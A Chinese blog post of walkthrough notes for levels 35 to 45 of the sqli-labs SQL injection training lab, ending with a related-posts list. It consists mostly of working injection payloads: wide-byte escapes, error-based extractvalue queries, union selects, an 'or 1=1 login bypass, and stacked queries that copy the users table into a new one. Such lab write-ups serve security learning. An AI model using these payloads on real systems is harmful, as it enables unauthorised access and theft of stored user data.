sqllab第35-45关通关笔记

35关知识点:
  • 宽字节注入
  • 数值型注入
  • 错误注入
    • payload:id=1+and+extractvalue(1,concat(0x7e,database(),0x7e))=0--+
  • 联合注入
    • payload:id=0+union+select+1,database(),version()--+
36关知识点:
  • 字符型注入
  • 宽字节注入
  • 错误注入
    • payload:id=1%df%27and+extractvalue(1,concat(0x7e,database(),0x7e))=0--+
  • 联合注入
    • payload:id=0%df%27union+select+1,database(),version()--+
37关知识点:
  • 宽字节注入(bp抓包实现,不要直接在输入框中输入下面payload)
  • 字符型注入
  • 联合注入
    • payload:uname=1%df'union+select+database(),version()--+
  • 错误注入
    • payload:uname=1%df'and+extractvalue(1,concat(0x7e,database(),0x7e))--+
38关知识点:
  • 字符型注入+单引号闭合
  • 错误注入
    • payload:id=1%27and+extractvalue(1,concat(0x7e,database(),0x7e))=%271
  • 联合注入
    • payload:id=0%27union+select+1,database(),version()--+
39关知识点:
  • 数值型注入
  • 错误注入
    • payload:id=1+and%20extractvalue(1,concat(0x7e,database(),0x7e))=0
  • 联合注入
    • payload:id=0+union+select+1,version(),database()
40关知识点:
  • 字符型注入
    • 测试发现原始语句是 where id=('输入')
  • 联合注入
    • payload:id=0%27)union+select+1,database(),3%20and+1=(%271
  • 没有回显信息,不能进行错误注入
41关知识点:
  • 数值型注入
  • 联合注入
    • payload:id=0%20union+select+1,database(),version()
  • 没有回显信息,不能进行错误注入
  • 堆叠注入
    • payload:id=1;create%20table%20ren(id%20int);--+
42关知识点:
  • 密码位置可以单引号绕过
    • payload:passwd='or+1=1#
  • 堆叠注入
    • payload:passwd=';create table ren like users;# (创建一个新表ren,格式和users一样)
    • payload:passwd=';insert into ren select * from users;# (将users的内容插入到ren表中)
43关知识点:
  • 密码处读取输入为 where passwd=('输入')
    • payload:passwd=1')or 1=1#
  • 堆叠注入
    • payload:passwd=');create table ren like users;# (创建一个新表ren,格式和users一样)
    • payload:passwd=');insert into ren select * from users;# (将users的内容插入到ren表中)
44关知识点:
  • 和42关的payload一模一样
  • 直接过了
45关知识点:
  • 和43关一样的payload
  • 直接过了

10

相关推荐
_李小白3 分钟前
【OPENGL ES 3.0 学习笔记】第一天:认识渲染管道
笔记·学习
bnsarocket36 分钟前
Verilog和FPGA的自学笔记4——多路选择器(always语句)
笔记·fpga开发·编程·verilog·自学·硬件编程
你也渴望鸡哥的力量么4 小时前
爬虫学习笔记
笔记·爬虫·学习
日更嵌入式的打工仔4 小时前
InitLWIP() 初始化
笔记·嵌入式硬件·学习
峰顶听歌的鲸鱼4 小时前
38.Shell脚本编程2
linux·运维·服务器·笔记·学习方法
聪明的笨猪猪6 小时前
Java Spring “MVC ”面试清单(含超通俗生活案例与深度理解)
java·经验分享·笔记·面试
LXS_3576 小时前
Day 09(下) B2a实例解说----exampleB2a.cc+ActionInitialization+PrimaryGeneratorAction
笔记·学习方法·改行学it·geant4·b2a
繁星星繁7 小时前
C++11学习笔记
c++·笔记·学习
金水谣8 小时前
10.8考研笔记
笔记
蒙奇D索大17 小时前
【数据结构】考研数据结构核心考点:二叉排序树(BST)全方位详解与代码实现
数据结构·笔记·学习·考研·算法·改行学it